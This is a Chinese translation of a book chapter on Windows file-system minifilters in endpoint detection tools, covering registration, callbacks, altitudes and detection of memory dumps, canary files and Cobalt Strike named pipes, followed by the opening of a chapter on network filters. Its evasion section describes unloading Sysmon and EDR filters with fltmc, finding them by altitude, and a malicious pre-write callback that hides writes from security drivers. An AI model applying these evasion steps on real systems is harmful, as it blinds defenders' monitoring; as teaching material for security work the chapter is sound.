| <20000 | FSFilter 基础设施 | 为系统使用保留,但最接近文件系统附加 |
大多数 EDR 供应商将其 minifilter 注册到 FSFilter 防病毒或 FSFilter 活动监控器组中。微软发布了注册的高度列表,以及它们关联的文件名和发布者。表 6-2 列出了分配给流行商业 EDR 解决方案的 minifilter 的高度。
表 6-2: 流行 EDR 的高度
| Altitude | Vendor | EDR |
|---|---|---|
| 389220 | Sophos | sophosed.sys |
| 389040 | SentinelOne | sentinelmonitor.sys |
| 328010 | Microsoft | wdfilter.sys |
| 321410 | CrowdStrike | csagent.sys |
| 388360 | FireEye/Trellix | fekern.sys |
| 386720 | Bit9/Carbon Black/VMWare | carbonblackk.sys |
虽然管理员可以更改 minifilter 的高度,但系统一次只能加载一个高度的 minifilter。
编写 Minifilter
让我们来了解编写 minifilter 的过程。每个 minifilter 都以一个 DriverEntry() 函数开始,定义方式与其他驱动程序相同。这个函数执行任何必需的全局初始化,然后注册 minifilter。最后,它开始过滤 I/O 操作并返回适当的值。
开始注册
这些操作中,最重要的一步是注册,DriverEntry() 函数通过调用 fltmgr!FltRegisterFilter() 来完成。这函数将 minifilter 添加到主机上已注册 minifilter 驱动程序的列表中,并向过滤器管理器提供有关 minifilter 的信息,包括回调例程的列表。该函数的定义见 清单 6-1。
NTSTATUS FLTAPI FltRegisterFilter(
[in] PDRIVER_OBJECT Driver,
[in] const FLT_REGISTRATION *Registration,
[out] PFLT_FILTER *RetFilter
);
清单 6-1:fltmgr!FltRegisterFilter() 函数定义
传递给它的三个参数中,Registration 参数是最有趣的。它是一个指向 FLT_REGISTRATION 结构的指针,该结构在 清单 6-2 中定义,包含关于微过滤器的所有相关信息。
typedef struct _FLT_REGISTRATION {
USHORT Size;
USHORT Version; FLT_REGISTRATION_FLAGS Flags;
const FLT_CONTEXT_REGISTRATION *ContextRegistration;
const FLT_OPERATION_REGISTRATION *OperationRegistration;
PFLT_FILTER_UNLOAD_CALLBACK FilterUnloadCallback;
PFLT_INSTANCE_SETUP_CALLBACK InstanceSetupCallback;
PFLT_INSTANCE_QUERY_TEARDOWN_CALLBACK InstanceQueryTeardownCallback;
PFLT_INSTANCE_TEARDOWN_CALLBACK InstanceTeardownStartCallback;
PFLT_INSTANCE_TEARDOWN_CALLBACK InstanceTeardownCompleteCallback;
PFLT_GENERATE_FILE_NAME GenerateFileNameCallback;
PFLT_NORMALIZE_NAME_COMPONENT NormalizeNameComponentCallback;
PFLT_NORMALIZE_CONTEXT_CLEANUP NormalizeContextCleanupCallback;
PFLT_TRANSACTION_NOTIFICATION_CALLBACK TransactionNotificationCallback;
PFLT_NORMALIZE_NAME_COMPONENT_EX NormalizeNameComponentExCallback;
PFLT_SECTION_CONFLICT_NOTIFICATION_CALLBACK SectionNotificationCallback;
} FLT_REGISTRATION, *PFLT_REGISTRATION;
清单 6-2:FLT_REGISTRATION 结构定义
该结构的前两个成员设置了结构的大小,大小始终为 sizeof(FLT_REGISTRATION),并设置结构修订级别,始终为 FLT_REGISTRATION_VERSION。下一个成员是 flags,它是一个位掩码,可能为零或以下三个值的任意组合:
FLTFL_REGISTRATION_DO_NOT_SUPPORT_SERVICE_STOP (1)
微过滤器在请求停止服务时不会被卸载。
FLTFL_REGISTRATION_SUPPORT_NPFS_MSFS (2)
微过滤器支持命名管道和邮件插槽请求。
FLTFL_REGISTRATION_SUPPORT_DAX_VOLUME (4)
该微过滤器支持附加到直接访问(DAX)卷。
紧随其后的是上下文注册。这将是一个 FLT_CONTEXT_REGISTRATION 结构的数组或 null。这些上下文允许微过滤器将相关对象关联起来,并在 I/O 操作之间保持状态。在此上下文数组之后是至关重要的操作注册数组。这是一个可变长度的 FLT_OPERATION_REGISTRATION 结构的数组,这些结构在 清单 6-3 中定义。虽然这个数组在技术上可以为 null,但在 EDR 传感器中很少见到这种配置。微过滤器必须为每种类型的 I/O 提供一个结构,以便它注册预操作或后操作回调例程。
typedef struct _FLT_OPERATION_REGISTRATION {
UCHAR MajorFunction;
FLT_OPERATION_REGISTRATION_FLAGS Flags;
PFLT_PRE_OPERATION_CALLBACK PreOperation;
PFLT_POST_OPERATION_CALLBACK PostOperation;
PVOID Reserved1;
} FLT_OPERATION_REGISTRATION, *PFLT_OPERATION_REGISTRATION;
清单 6-3:FLT_OPERATION_REGISTRATION 结构定义
第一个参数表示微过滤器感兴趣处理的主要功能。这些是 wdm.h 中定义的常量,表 6-3 列出了与安全监控最相关的一些常量。
表 6-3: 主要功能及其目的
| 主要功能 | 目的 |
|---|---|
| IRP_MJ_CREATE (0x00) | 正在创建新文件或打开现有文件的句柄。 |
| IRP_MJ_CREATE_NAMED_PIPE (0x01) | 正在创建或打开一个命名管道。 |
| IRP_MJ_CLOSE (0x02) | 正在关闭文件对象的句柄。 |
| IRP_MJ_READ (0x03) | 正在从文件中读取数据。 |
| IRP_MJ_WRITE (0x04) | 正在向文件写入数据。 |
| IRP_MJ_QUERY_INFORMATION (0x05) | 已请求有关文件的信息,如其创建时间。 |
| IRP_MJ_SET_INFORMATION (0x06) | 正在设置或更新文件的信息,如其名称。 |
| IRP_MJ_QUERY_EA (0x07) | 已请求文件的扩展信息。 |
| IRP_MJ_SET_EA (0x08) | 正在设置或更新文件的扩展信息。 |
| IRP_MJ_LOCK_CONTROL (0x11) | 正在对文件加锁,例如通过调用 kernel32!LockFileEx()。 |
| IRP_MJ_CREATE_MAILSLOT (0x13) | 正在创建或打开一个新的邮件插槽。 |
| IRP_MJ_QUERY_SECURITY (0x14) | 正在请求有关文件的安全信息。 |
| IRP_MJ_SET_SECURITY (0x15) | 与文件相关的安全信息正在设置或更新。 |
| IRP_MJ_SYSTEM_CONTROL (0x17) | 一个新的驱动程序已注册为 Windows 管理工具的供应商。 |
结构的下一个成员指定标志位。此位掩码描述了何时应为缓存 I/O 或分页 I/O 操作调用回调函数。写本文时,支持四个标志,所有标志的前缀都是 FLTFL_OPERATION_REGISTRATION_。首先,SKIP_PAGING_IO 表示是否应为基于 IRP 的读或写分页 I/O 操作调用回调。SKIP_CACHED_IO 标志用于防止在基于快速 I/O 的读写缓存 I/O 操作中调用回调。接下来,SKIP_NON_DASD_IO 用于对在直接访问存储设备(DASD)卷句柄上发出的请求。最后,SKIP_NON_CACHED_NON_PAGING_IO 防止在非缓存或非分页 I/O 操作的读写中调用回调。
定义预操作回调
FLT_OPERATION_REGISTRATION 结构的接下来两个成员定义了当系统上发生每个目标主要功能时要调用的预操作或后操作回调。预操作回调通过指向 FLT_PRE_OPERATION_CALLBACK 结构的指针传递,后操作例程则指定为指向 FLT_POST_OPERATION_CALLBACK 结构的指针。虽然这些函数的定义并没有太大不同,但它们的功能和限制差异非常大。
与其他类型驱动程序中的回调一样,预操作回调函数允许开发人员在操作到达目标之前(在 minifilter 的情况下为目标文件系统)检查该操作。这些回调函数接收指向操作回调数据的指针,以及一些与当前 I/O 请求相关的 opaque 指针,并返回一个 FLT_PREOP_CALLBACK_STATUS 返回代码。在代码中,这看起来像是清单 6-4 所示的内容。
PFLT_PRE_OPERATION_CALLBACK PfltPreOperationCallback;
FLT_PREOP_CALLBACK_STATUS PfltPreOperationCallback(
[in, out] PFLT_CALLBACK_DATA Data,
[in] PCFLT_RELATED_OBJECTS FltObjects,
[out] PVOID *CompletionContext
)
{...}
清单 6-4:注册预操作回调
第一个参数,Data,是最复杂的一个,包含与 minifilter 正在处理的请求相关的所有主要信息。FLT_CALLBACK_DATA结构由过滤器管理器和 minifilter 共同使用,用于处理 I/O 操作,并包含大量对任何监视文件系统操作的 EDR 代理有用的数据。该结构的一些重要成员包括:
Flags 描述 I/O 操作的位掩码。这些标志可能会由过滤器管理器预设,尽管在某些情况下,minifilter 可能会设置额外的标志。当过滤器管理器初始化数据结构时,它会设置一个标志,指示它代表哪种类型的 I/O 操作:快速 I/O、过滤器操作或 IRP 操作。过滤器管理器还可以设置标志,指示 minifilter 是否生成或重新发出该操作,是否来自非分页池,以及操作是否已完成。
Thread 指向发起 I/O 请求的线程的指针。这对于识别执行操作的应用程序非常有用。
Iopb 包含关于基于 IRP 的操作(例如,IRP_BUFFERED_IO,表示这是一个缓冲 I/O 操作)的信息;主功能代码;与操作相关的特殊标志(例如,SL_CASE_SENSITIVE,该标志通知堆栈中的驱动程序,文件名比较应区分大小写);指向作为操作目标的文件对象的指针;以及一个包含特定 I/O 操作唯一参数的FLT_PARAMETERS结构体,该结构体由结构中的主功能代码或次功能代码成员指定。
IoStatus 一个结构体,包含由过滤器管理器设置的 I/O 操作的完成状态。
TagData 指向一个FLT_TAG_DATA_BUFFER结构的指针,该结构包含关于重新解析点的信息,例如在 NTFS 硬链接或连接点的情况下。
RequestorMode 一个值,表示请求是来自用户模式还是内核模式。
该结构包含 EDR 代理需要追踪系统中文件操作的大部分信息。传递给预操作回调的第二个参数是指向 FLT_RELATED_OBJECTS 结构的指针,提供补充信息。该结构包含指向与操作相关联的对象的不可透明指针,包括卷、迷你过滤器实例和文件对象(如果存在)。最后一个参数 CompletionContext 包含一个可选的上下文指针,如果迷你过滤器返回 FLT_PREOP_SUCCESS_WITH_CALLBACK 或 FLT_PREOP_SYNCHRONIZE,该指针将传递给相关联的后操作回调。
在例程完成后,迷你过滤器必须返回一个 FLT_PREOP_CALLBACK_STATUS 值。预操作回调可能返回七种支持的值之一:
FLT_PREOP_SUCCESS_WITH_CALLBACK (0)
将 I/O 操作传回过滤器管理器进行处理,并指示它在完成期间调用迷你过滤器的后操作回调。
FLT_PREOP_SUCCESS_NO_CALLBACK (1)
将 I/O 操作传回过滤器管理器进行处理,并指示它在完成期间不要调用迷你过滤器的后操作回调。
FLT_PREOP_PENDING (2)
挂起 I/O 操作,并且在迷你过滤器调用 fltmgr!FltCompletePendedPreOperation() 之前,不进一步处理它。
FLT_PREOP_DISALLOW_FASTIO (3)
阻止操作中的快速 I/O 路径。此代码指示过滤器管理器不要将操作传递给栈中当前过滤器下方的任何其他迷你过滤器,并且仅调用在较高层级的驱动程序的后操作回调。
FLT_PREOP_COMPLETE (4)
指示过滤器管理器不要将请求发送到当前驱动栈下方的迷你过滤器,并且仅调用当前驱动栈中上述迷你过滤器的后操作回调。
FLT_PREOP_SYNCHRONIZE (5)
将请求传回过滤器管理器,但不完成它。此代码确保迷你过滤器的后操作回调在 IRQL ≤ APC_LEVEL 的原线程上下文中被调用。
FLT_PREOP_DISALLOW_FSFILTER_IO (6)
禁止快速的 QueryOpen 操作,并强制操作走较慢的路径,导致 I/O 管理器使用打开、查询或关闭操作处理该请求。
过滤器管理器在将请求传递给文件系统之前,调用所有为正在处理的 I/O 操作注册了函数的迷你过滤器的前操作回调,从最高的优先级开始。
定义后操作回调
在文件系统执行每个迷你过滤器的前操作回调所定义的操作后,控制权会传递到过滤器栈的过滤器管理器。然后,过滤器管理器从最低优先级开始,调用所有迷你过滤器的后操作回调。这些后操作回调的定义与前操作回调例程类似,如列表 6-5 所示。
PFLT_POST_OPERATION_CALLBACK PfltPostOperationCallback;
FLT_POSTOP_CALLBACK_STATUS PfltPostOperationCallback(
[in, out] PFLT_CALLBACK_DATA Data,
[in] PCFLT_RELATED_OBJECTS FltObjects,
[in, optional] PVOID CompletionContext,
[in] FLT_POST_OPERATION_FLAGS Flags
)
{...}
列表 6-5:后操作回调例程定义
这里有两个显著的区别:增加了Flags参数和不同的返回类型。迷你过滤器唯一可以传递的已记录标志是FLTFL_POST_OPERATION_DRAINING,它表示迷你过滤器正在卸载过程中。此外,后操作回调可以返回不同的状态。如果回调返回FLT_POSTOP_FINISHED_PROCESSING (0),表示迷你过滤器已完成其后操作回调例程,并将控制权返回给过滤器管理器以继续处理 I/O 请求。如果返回FLT_POSTOP_MORE_PROCESSING_REQUIRED (1),表示迷你过滤器已将基于 IRP 的 I/O 操作发布到工作队列,并暂停请求的完成,直到工作项完成,然后调用fltmgr!FltCompletePendedPostOperation()。最后,如果返回FLT_POSTOP_DISALLOW_FSFILTER_IO (2),表示迷你过滤器不允许快速QueryOpen操作,并强制该操作走较慢的路径。这与FLT_PREOP_DISALLOW_FSFILTER_IO相同。
后操作回调有一些显著的限制,减少了它们在安全监控中的可行性。首先,它们会在任意线程中调用,除非前操作回调传递了FLT_PREOP_SYNCHRONIZE标志,防止系统将操作归因于请求的应用程序。接下来是,后操作回调在 IRQL ≤ DISPATCH_LEVEL 时调用。这意味着某些操作受到限制,包括访问大多数同步原语(例如互斥锁)、调用需要 IRQL ≤ DISPATCH_LEVEL的内核 API,以及访问分页内存。解决这些限制的一种方法是通过使用fltmgr!FltDoCompletionProcessingWhenSafe()延迟后操作回调的执行,但该解决方案也有其挑战。
这些FLT_OPERATION_REGISTRATION结构体数组作为FLT_REGISTRATION的OperationRegistration成员传递,可能如下所示:列表 6-6。
const FLT_OPERATION_REGISTRATION Callbacks[] = {
{IRP_MJ_CREATE, 0, MyPreCreate, MyPostCreate},
{IRP_MJ_READ, 0, MyPreRead, NULL},
{IRP_MJ_WRITE, 0, MyPreWrite, NULL},
{IRP_MJ_OPERATION_END}
};
列表 6-6:一个操作注册回调结构体数组
该数组为IRP_MJ_CREATE注册了前后操作回调,为IRP_MJ_READ和IRP_MJ_WRITE仅注册了前操作回调。对于任何目标操作都没有传入标志。此外,请注意数组中的最后一个元素是IRP_MJ_OPERATION_END。微软要求该值出现在数组的末尾,并且在监控上下文中没有功能用途。
定义可选回调
FLT_REGISTRATION 结构体中的最后一部分包含了可选的回调函数。前三个回调函数:FilterUnloadCallback、InstanceSetupCallback 和 InstanceQueryTeardownCallback,技术上都可以为空,但这将对迷你过滤器和系统行为产生一定的限制。例如,系统将无法卸载该迷你过滤器或附加新的文件系统卷。结构体中该部分的其他回调函数与迷你过滤器提供的各种功能相关。例如,拦截文件名请求(GenerateFileNameCallback)和文件名规范化(NormalizeNameComponentCallback)。通常,只有前三个半可选的回调函数会被注册,其余的很少使用。
激活迷你过滤器
在设置完所有回调例程后,创建的 FLT_REGISTRATION 结构体的指针作为第二个参数传递给 fltmgr!FltRegisterFilter()。该函数完成后,会返回一个不透明的过滤器指针 (PFLT_FILTER) 给调用者,返回值保存在 RetFilter 参数中。这个指针唯一标识了该迷你过滤器,并且只要驱动程序在系统中加载,该指针将保持不变。这个指针通常会作为全局变量保留。
当 minifilter 准备开始处理事件时,它将PFLT_FILTER指针传递给fltmgr!FltStartFilter()。这会通知过滤器管理器,驱动程序已准备好附加到文件系统卷并开始过滤 I/O 请求。此函数返回后,minifilter 将被视为活动,并插入所有相关的文件系统操作中。FLT_REGISTRATION结构中注册的回调函数将根据其关联的主要功能进行调用。每当 minifilter 准备卸载时,它会将PFLT_FILTER指针传递给fltmgr!FltUnregisterFilter(),以移除 minifilter 在文件、卷和其他组件上设置的任何上下文,并调用注册的InstanceTeardownStartCallback和InstanceTeardownCompleteCallback函数。
管理一个 Minifilter
与其他驱动程序的工作相比,安装、加载和卸载 minifilter 的过程需要特别考虑。这是因为 minifilter 在设置注册表值方面有特定的要求。为了简化安装过程,微软建议通过设置信息(INF)文件来安装 minifilter。这些 INF 文件的格式超出了本书的讨论范围,但有一些与 minifilter 工作相关的有趣细节,值得一提。
在 INF 文件的Version部分,ClassGuid条目是一个 GUID,它对应于所需的加载顺序组(例如,FSFilter Activity Monitor)。在文件的AddRegistry部分,指定了要创建的注册表键,你将找到有关 minifilter 的高度信息。此部分可能包含多个类似的条目,以描述系统应在哪些位置加载 minifilter 的不同实例。高度可以设置为在 INF 文件的Strings部分中定义的变量名称(例如,%MyAltitude%)。最后,ServiceType条目位于ServiceInstall部分,总是设置为SERVICE_FILE_SYSTEM_DRIVER (2)。
执行 INF 安装程序会安装驱动程序,将文件复制到指定位置并设置所需的注册表键。示例 6-7 显示了 WdFilter(微软 Defender 的 minifilter 驱动程序)在注册表键中的配置示例。
PS > **Get-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Services\WdFilter\" | Select ***
**-Exclude PS* | fl**
DependOnService : {FltMgr}
Description : @%ProgramFiles%\Windows Defender\MpAsDesc.dll,-340
DisplayName : @%ProgramFiles%\Windows Defender\MpAsDesc.dll,-330
ErrorControl : 1
Group : FSFilter Anti-Virus
ImagePath : system32\drivers\wd\WdFilter.sys
Start : 0
SupportedFeatures : 7
Type : 2 PS > **Get-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Services\WdFilter\Instances\**
**WdFilter Instance" | Select * -Exclude PS* | fl**
Altitude : 328010
Flags : 0
示例 6-7:使用 PowerShell 查看 WdFilter 的高度
Start 键决定了 minifilter 何时被加载。该服务可以通过服务控制管理器 API 启动和停止,也可以通过如 sc.exe 或服务管理单元等客户端进行管理。此外,我们还可以通过过滤器管理器库 FltLib 来管理 minifilter,该库由 fltmc.exe 实用程序提供,默认包含在 Windows 中。此设置还包括设置 minifilter 的高度,对于 WdFilter 来说,高度为 328010。
通过 Minifilters 检测对抗者技术
现在你已经理解了 minifilter 的内部工作原理,让我们来探讨它们是如何帮助检测系统中的攻击的。如在“编写 Minifilter”一节中所讨论的,第 108 页,minifilter 可以注册针对任何文件系统的操作前或操作后回调,包括 NTFS、命名管道和邮件槽。这为 EDR 提供了一个极其强大的传感器,用于检测主机上的对抗者活动。
文件检测
如果对抗者与文件系统进行交互,例如创建新文件或修改现有文件的内容,minifilter 就有机会检测到这种行为。现代攻击倾向于避免直接将工件丢到主机文件系统中,采用“磁盘即熔岩”的思维方式,但许多黑客工具由于所使用的 API 限制,仍然继续与文件进行交互。例如,考虑 dbghelp!MiniDumpWriteDump(),这是一个用于创建进程内存转储的函数。此 API 要求调用者传入一个文件句柄,用于写入转储数据。如果攻击者想使用这个 API,就必须与文件进行交互,因此任何处理 IRP_MJ_CREATE 或 IRP_MJ_WRITE I/O 操作的 minifilter 都可以间接检测到这些内存转储操作。
此外,攻击者无法控制写入文件的数据格式,这使得微筛选器能够与扫描器协作,检测内存转储文件,而无需使用函数挂钩。攻击者可能试图通过打开现有文件的句柄并将目标进程的内存转储覆盖其内容来规避这一点,但监控IRP_MJ_CREATE的微筛选器仍然能够检测到这一活动,因为无论是创建新文件还是打开现有文件的句柄都会触发该请求。
一些防御者使用这些概念来实现文件系统金丝雀。这些是创建在关键位置的文件,用户应该很少甚至永远不会与其交互。如果除了备份代理或 EDR 之外的应用程序请求打开金丝雀文件的句柄,微筛选器可以立即采取行动,包括使系统崩溃。文件系统金丝雀提供了强大的(虽然有时是残酷的)反勒索软件控制,因为勒索软件往往会肆意加密主机上的文件。通过将金丝雀文件放置在文件系统中深层的目录中,这些文件对用户隐藏,但仍位于勒索软件通常会攻击的路径之一,EDR 可以将损害限制在勒索软件接触到金丝雀之前所加密的文件。
命名管道检测
另一种对抗性技巧,微筛选器可以高效检测的关键手段是命名管道的使用。许多指挥控制代理,如 Cobalt Strike 的 Beacon,都使用命名管道进行任务分配、I/O 操作和链接。其他攻击技术,例如使用令牌冒充进行特权升级的技术,也围绕创建命名管道展开。在这两种情况下,监控IRP_MJ_CREATE_NAMED_PIPE请求的微筛选器能够检测攻击者的行为,方式与通过IRP_MJ_CREATE检测文件创建相似。
微筛选器通常会寻找创建异常命名的管道,或者那些来自不典型进程的管道。这是有用的,因为许多对手使用的工具依赖于命名管道的使用,所以想要伪装的攻击者会选择在环境中典型的管道和主机进程名称。幸运的是,对于攻击者和防御者来说,Windows 使得枚举现有命名管道变得容易,我们可以直接识别出许多常见的进程与管道之间的关系。在安全领域,最著名的命名管道之一是mojo。当 Chromium 进程启动时,它会创建多个命名管道,格式为mojo.PID.TID.VALUE,供一个名为 Mojo 的 IPC 抽象库使用。这个命名管道因其被纳入一个著名的文档库来记录 Cobalt Strike 的可变配置选项而变得流行。
使用这个特定的命名管道存在一些问题,最小过滤器可以检测到。其中一个主要问题与管道名称的结构化格式有关。由于 Cobalt Strike 的管道名称是与可变配置文件实例相关联的静态属性,它在运行时是不可更改的。这意味着对手需要准确预测其 Beacon 的进程和线程 ID,以确保其进程的属性与 Mojo 使用的管道名称格式匹配。请记住,带有预操作回调的最小过滤器,用于监控 IRP_MJ_CREATE_NAMED_PIPE 请求时,保证会在调用线程的上下文中被触发。这意味着当 Beacon 进程创建 “mojo” 命名管道时,最小过滤器可以检查其当前上下文是否与管道名称中的信息匹配。为了演示这一点,伪代码如下所示 列表 6-8。
DetectMojoMismatch(string mojoPipeName)
{
pid = GetCurrentProcessId();
tid = GetCurrentThreadId(); ❶ if (!mojoPipeName.beginsWith("mojo. " + pid + "." + tid + "."))
{
// Bad Mojo pipe found
}
}
列表 6-8:检测异常 Mojo 命名管道
由于 Mojo 命名管道使用的格式已知,我们可以简单地将创建命名管道的线程的 PID 和 TID ❶ 连接起来,确保它们与预期匹配。如果不匹配,我们可以采取一些防御措施。
并不是 Beacon 中的每个命令都会创建命名管道。有些函数会创建匿名管道(即没有名称的管道),比如 execute-assembly。这类管道的操作性有限,因为它们的名称无法被引用,代码只能通过打开的句柄与其交互。然而,它们在功能上的不足换来了更强的隐蔽性。
Riccardo Ancarani 的博客文章《通过命名管道分析检测 Cobalt Strike 默认模块》详细描述了与 Beacon 使用匿名管道相关的 OPSEC 考虑。在他的研究中,他发现尽管 Windows 组件很少使用匿名管道,但它们的创建是可以被分析的,而且创建者可以作为有效的 spawnto 二进制文件使用。这些包括 ngen.exe、wsmprovhost.exe 和 firefox.exe 等。通过将其牺牲进程设置为这些可执行文件之一,攻击者可以确保任何导致匿名管道创建的操作很可能不会被检测到。
然而,请记住,利用命名管道的活动仍然会容易被检测到,因此操作员需要将其技术限制在仅创建匿名管道的活动上。
规避最小过滤器
规避 EDR 最小过滤器的策略通常依赖于三种技术之一:卸载、预防或干扰。让我们通过一些例子来展示如何利用这些技术为自己谋取优势。
卸载
第一个技术是完全卸载 minifilter。虽然你需要管理员访问权限才能执行此操作(特别是SeLoadDriverPrivilege令牌权限),但这是避开 minifilter 的最可靠方法。毕竟,如果驱动程序不再堆栈中,它就无法捕获事件。
卸载 minifilter 可能像调用fltmc.exe unload一样简单,但如果厂商付出了大量努力隐藏其 minifilter 的存在,可能需要复杂的定制工具。为了进一步探索这一点,让我们以 Sysmon 为目标,其 minifilter SysmonDrv 配置在注册表中,如 Listing 6-9 所示。
PS > **Get-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Services\SysmonDrv" | Select ***
**-Exclude PS* | fl**
Type : 1
Start : 0
ErrorControl : 1
ImagePath : SysmonDrv.sys
DisplayName : SysmonDrv
Description : System Monitor driver
PS > **Get-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Services\SysmonDrv\Instances\**
**Sysmon Instance\" | Select * -Exclude PS* | fl**
Altitude : 385201
Flags : 0
Listing 6-9:使用 PowerShell 查看 SysmonDrv 的配置
默认情况下,SysmonDrv的高度为 385201,我们可以通过调用fltmc.exe unload SysmonDrv轻松卸载它,前提是调用者具有所需的权限。这样做会产生一个FilterManager事件 ID 为 1,表示文件系统过滤器已被卸载,同时产生一个 Sysmon 事件 ID 为 255,表示驱动程序通信失败。然而,Sysmon 将不再接收到事件。
为了增加攻击者的难度,minifilter 有时会使用随机的服务名称来掩盖其在系统上的存在。以 Sysmon 为例,管理员可以通过在安装时向安装程序传递-d标志并指定一个新名称来实现这种方法。这可以防止攻击者使用内置的fltmc.exe工具,除非他们能够识别出服务名称。
然而,攻击者可以利用生产环境 minifilters 的另一个特性来定位驱动程序并卸载它:它们的高度。因为微软为某些厂商保留了特定的高度,攻击者可以学习这些值,然后简单地遍历注册表或使用fltlib!FilterFindNext()来定位具有特定高度的驱动程序。我们不能使用fltmc.exe根据高度卸载 minifilters,但我们可以在注册表中解析驱动程序的名称,或者将 minifilter 的名称传递给fltlib!FilterUnload(),对于使用fltlib!FilterFindNext()的工具来说,这是一种可行的方式。这就是 Shhmon 工具在背后如何工作,用于追踪并卸载SysmonDrv。
防御者可以通过修改 minifilter 的高度进一步阻止攻击者。然而,在生产环境中不推荐这样做,因为其他应用程序可能已经在使用所选择的值。EDR 代理有时会在数百万台设备上运行,这增加了高度冲突的可能性。为了降低这种风险,供应商可能会从 Microsoft 编译一个活动 minifilter 分配列表,并选择一个尚未使用的值,尽管这种策略并非万无一失。
在 Sysmon 的情况下,防御者可以通过修改安装程序,在安装时将高度值设置为不同的值,或者通过直接修改注册表值在安装后手动更改高度。由于 Windows 对高度没有任何技术控制,工程师可以将SysmonDrv移到任何他们希望的位置。然而,值得注意的是,高度影响 minifilter 在堆栈中的位置,因此选择过低的值可能会对工具的有效性产生意想不到的影响。
即使应用了所有这些混淆方法,攻击者仍然可以卸载 minifilter。从 Windows 10 开始,供应商和 Microsoft 必须在加载驱动程序到系统之前对其进行签名,且这些签名用于识别驱动程序,其中包含签名供应商的信息。此信息通常足以使对手察觉到目标 minifilter 的存在。在实际操作中,攻击者可以遍历注册表,或者使用 fltlib!FilterFindNext() 方法枚举 minifilter,提取磁盘上驱动程序的路径,并解析所有枚举文件的数字签名,直到他们找出一个由 EDR 签名的文件。到那时,他们可以使用之前介绍的方法卸载 minifilter。
正如你刚刚了解到的那样,目前并没有特别好的方法来隐藏系统上的 minifilter。然而,这并不意味着这些混淆方法毫无价值。攻击者可能缺乏工具或知识来对抗这些混淆,从而为 EDR 的传感器提供了在不受干扰的情况下检测其活动的时间。
预防
为了防止文件系统操作经过 EDR 的 minifilter,攻击者可以注册他们自己的 minifilter,并用它强制完成 I/O 操作。例如,我们可以为 IRP_MJ_WRITE 请求注册一个恶意的预操作回调,如 列表 6-10 所示。
PFLT_PRE_OPERATION_CALLBACK EvilPreWriteCallback;
FLT_PREOP_CALLBACK_STATUS EvilPreWriteCallback(
[in, out] PFLT_CALLBACK_DATA Data,
[in] PCFLT_RELATED_OBJECTS FltObjects,
[out] PVOID *CompletionContext
)
{
`--snip--`
}
列表 6-10:注册恶意的预操作回调例程
当过滤器管理器调用此回调例程时,它必须返回一个 FLT_PREOP_CALLBACK_STATUS 值。可能的值之一是 FLT_PREOP_COMPLETE,它告诉过滤器管理器当前微过滤器正在完成请求,因此请求不应再传递给任何低于当前高度的微过滤器。如果微过滤器返回此值,它必须将 NTSTATUS 值设置到 I/O 状态块的 Status 成员,表示操作的最终状态。那些微过滤器与用户模式扫描引擎通信的杀毒引擎通常会使用此功能来确定是否有恶意内容正在写入文件。如果扫描器通知微过滤器内容是恶意的,微过滤器将完成请求并返回失败状态,例如 STATUS_VIRUS_INFECTED,并将其返回给调用者。
但攻击者可以利用这个微过滤器的特性,阻止安全代理拦截它们的文件系统操作。通过我们之前注册的回调,效果可能类似于清单 6-11 中所示的内容。
FLT_PREOP_CALLBACK_STATUS EvilPreWriteCallback(
[in, out] PFLT_CALLBACK_DATA Data,
[in] PCFLT_RELATED_OBJECTS FltObjects,
[out] PVOID *CompletionContext
)
{
`--snip--`
if (IsThisMyEvilProcess(PsGetCurrentProcessId())
{
`--snip--`
❶ Data->IoStatus.Status = STATUS_SUCCESS;
return FLT_PREOP_COMPLETE
}
`--snip--`
}
清单 6-11:拦截写操作并强制完成
攻击者首先将其恶意微过滤器插入到比 EDR 所有的微过滤器更高的高度。恶意微过滤器的预操作回调中将包含逻辑,用于完成来自对手进程的 I/O 请求❶,从而防止这些请求传递到堆栈下方的 EDR。
干扰
最终的规避技术——干扰,围绕着微过滤器可以在请求时修改传递给其回调的 FLT_CALLBACK_DATA 结构体的成员。攻击者可以修改该结构体中的任何成员,除了 RequestorMode 和 Thread 成员。这包括 FLT_IO_PARAMETER_BLOCK 结构体中的 TargetFileObject 成员。恶意微过滤器的唯一要求是它必须调用 fltmgr!FltSetCallbackDataDirty(),该函数会在将请求传递给堆栈下方的微过滤器时,指示回调数据结构已被修改。
攻击者可以利用这种行为,通过将自己插入到堆栈中的任何位置,修改与请求相关的数据并将控制权返回给过滤器管理器,从而向与 EDR 相关联的 minifilter 传递虚假数据。接收到修改后的请求的 minifilter 可能会评估是否存在 FLTFL_CALLBACK_DATA_DIRTY,该标志由 fltmgr!FltSetCallbackDataDirty() 设置,并据此采取行动,但数据仍然会被修改。
结论
Minifilter 是 Windows 上监控文件系统活动的事实标准,无论是 NTFS、命名管道还是邮件插槽。它们的实现比本书早些章节中讨论的驱动程序更复杂一些,但它们的工作原理非常相似;它们位于某些系统操作的内联位置,接收关于活动的数据。攻击者可以通过利用传感器中的某些逻辑问题或完全卸载驱动程序来规避 minifilter,但大多数对手已经调整了他们的技术,极大地限制了在磁盘上创建新工件的可能性,从而减少了 minifilter 识别其活动的机会。
第七章:7 网络过滤驱动程序

有时,EDR(端点检测与响应)必须实现自己的传感器,以捕获由某些系统组件生成的遥测数据。文件系统迷你过滤器就是其中的一个例子。在 Windows 中,网络堆栈也是如此。
基于主机的安全代理可能希望捕获网络遥测数据,原因有很多。网络流量与攻击者获得系统初始访问权限的最常见方式密切相关(例如,当用户访问恶意网站时)。它也是攻击者进行横向移动、从一台主机跳到另一台主机时产生的关键证据之一。如果端点安全产品希望捕获并检查网络数据包,它很可能会实现某种类型的网络过滤驱动程序。
本章介绍了一种用于捕获网络遥测数据的常见驱动程序框架:Windows 过滤平台(WFP)。Windows 网络堆栈和驱动程序生态系统对于新手来说可能有些复杂,因此为了减少头痛的可能性,我们将简要介绍核心概念,然后仅关注与 EDR 传感器相关的部分。
基于网络与基于端点的监控
你可能认为,检测恶意流量的最佳方式是使用基于网络的安全设备,但事实并非总是如此。这些网络设备的有效性取决于它们在网络中的位置。例如,网络入侵检测系统(NIDS)需要位于主机 A 和主机 B 之间,才能检测到它们之间的横向移动。
假设攻击者必须跨越核心网络边界(例如,从 VPN 子网移动到数据中心子网)。在这种情况下,安全工程师可以通过战略性地在所有流量必须经过的逻辑瓶颈点部署设备。这种面向边界的架构看起来类似于图 7-1 所示的架构。

图 7-1:两个网络之间的 NIDS
